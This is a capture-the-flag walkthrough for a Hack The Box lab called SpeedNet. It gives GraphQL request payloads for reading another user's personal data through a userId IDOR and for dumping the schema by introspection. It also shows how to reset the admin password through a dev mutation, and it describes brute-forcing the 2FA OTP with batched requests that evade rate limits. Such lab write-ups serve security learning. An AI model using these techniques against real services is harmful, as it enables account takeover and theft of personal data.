Hack The Box walkthrough with Node.js OTP brute-force script included
Challenge Description
SpeedNet is an ISP platform. Join our bug bounty to find vulnerabilities and retrieve the hidden flag. Test using the email service at
http://IP:PORT/emails/
Use:test@email.htb
Initial Recon
I began by exploring the application, registering a test account, and creating a visual map of the platform’s flow:

Next, I checked the /emails/ endpoint as mentioned in the challenge description:

After signing up with the provided test email, I received a welcome message:

GraphQL Exploration
The application communicates using GraphQL. Upon inspecting the network traffic, I noticed that in two API calls, the userId field can be tampered with to fetch information of other users:


I discovered that only one other user exists: userId: 1, which is the admin. Here’s how I confirmed that:
# Request
{
"query": "query ($userId: Int!) { userProfile(userId: $userId) { id nextBillingDate plan planStatus } }",
"variables": { "userId": 1 }
}
# Response
{
"data": {
"userProfile": {
"id": 1,
"nextBillingDate": null,
"plan": "BASIC",
"planStatus": "TRIAL"
}
}
}
We can also extract PII (Personally Identifiable Information):
# Request
{
"query": "query GetUserProfile($userId: Int!) { userProfile(userId: $userId) { id email firstName lastName address phoneNumber twoFactorAuthEnabled } }",
"variables": { "userId": 1 }
}
# Response
{
"data": {
"userProfile": {
"id": 1,
"email": "admin@speednet.htb",
"firstName": "Arnold",
"lastName": "Robin",
"address": "West Land 123",
"phoneNumber": "08718881012211",
"twoFactorAuthEnabled": true
}
}
}
GraphQL Introspection
I attempted an introspection query to discover more functions:
{
"query": "query IntrospectionQuery { __schema { types { name kind description fields { name description args { name description type { name kind ofType { name kind } } } type { name kind ofType { name kind } } } } } }"
}

Among the exposed schema, one function stood out: devForgotPassword.
Resetting the Admin Password
I triggered a password reset for the admin:
{
"query": "mutation { devForgotPassword(email: \"admin@speednet.htb\") }"
}

It returned a valid reset token! Using this, I successfully changed the admin’s password:
{
"query": "mutation ResetPassword($token: String!, $newPassword: String!) { resetPassword(token: $token, newPassword: $newPassword) }",
"variables": {
"token": "4e1eca2a-f33b-4311-a030-ca50c9e22d52",
"newPassword": "newadminpass123"
}
}

Now, we have valid admin credentials — but due to 2FA, we still need to pass the OTP step.
Bypassing 2FA Using GraphQL Batching
The platform supports GraphQL batching, meaning we can send multiple OTP guesses in a single request. I wrote a Node.js script that:
- Starts from OTP
1000up to999999 - Sends requests in batches
- Introduces a delay between each batch to avoid rate limiting
✅ The brute-force script is included in the GitHub repo linked below.

Once the correct OTP was discovered, I received a valid JWT auth token for the admin account.
Retrieving the Flag
With the admin’s auth token, I queried the invoice data. One of the objects in the response contained the flag embedded as the invoice number.

Source Code
The OTP brute-force script (Node.js) used to exploit the 2FA weakness is available here: